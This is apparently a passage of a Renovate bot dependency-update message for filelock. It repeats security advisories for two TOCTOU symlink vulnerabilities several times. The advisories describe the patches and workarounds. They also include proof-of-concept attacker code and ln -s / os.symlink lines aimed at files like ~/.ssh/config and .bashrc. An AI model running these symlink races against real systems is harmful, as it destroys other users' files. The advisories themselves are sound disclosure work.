3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### Release Notes

<details>
<summary>tox-dev/py-filelock (filelock)</summary>

###
[`v3.29.7`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.7)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.6...3.29.7)

<!-- Release notes generated using configuration in .github/release.yaml
at main -->

#### What's Changed

- asyncio: detect cross-instance reentrant deadlocks before the poll
loop by [@&#8203;HrachShah](https://redirect.github.com/HrachShah) in
[tox-dev/filelock#586](https://redirect.github.com/tox-dev/filelock/pull/586)
- 🐛 fix(soft\_rw): evict non-regular write marker without reading it by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#588](https://redirect.github.com/tox-dev/filelock/pull/588)
- \_util: drop the dead st\_mtime=0 short-circuit in
raise\_on\_not\_writable\_file by
[@&#8203;HrachShah](https://redirect.github.com/HrachShah) in
[tox-dev/filelock#589](https://redirect.github.com/tox-dev/filelock/pull/589)

**Full Changelog**:
<tox-dev/filelock@3.29.6...3.29.7>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMjQuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIyNC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19-->

Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
renovate-coop-norge Bot added a commit to coopnorge/engineering-docker-images that referenced this pull request Jul 16, 2026
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.29.6`
→ `3.29.7` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/filelock/3.29.7?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/filelock/3.29.6/3.29.7?slim=true)
|

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
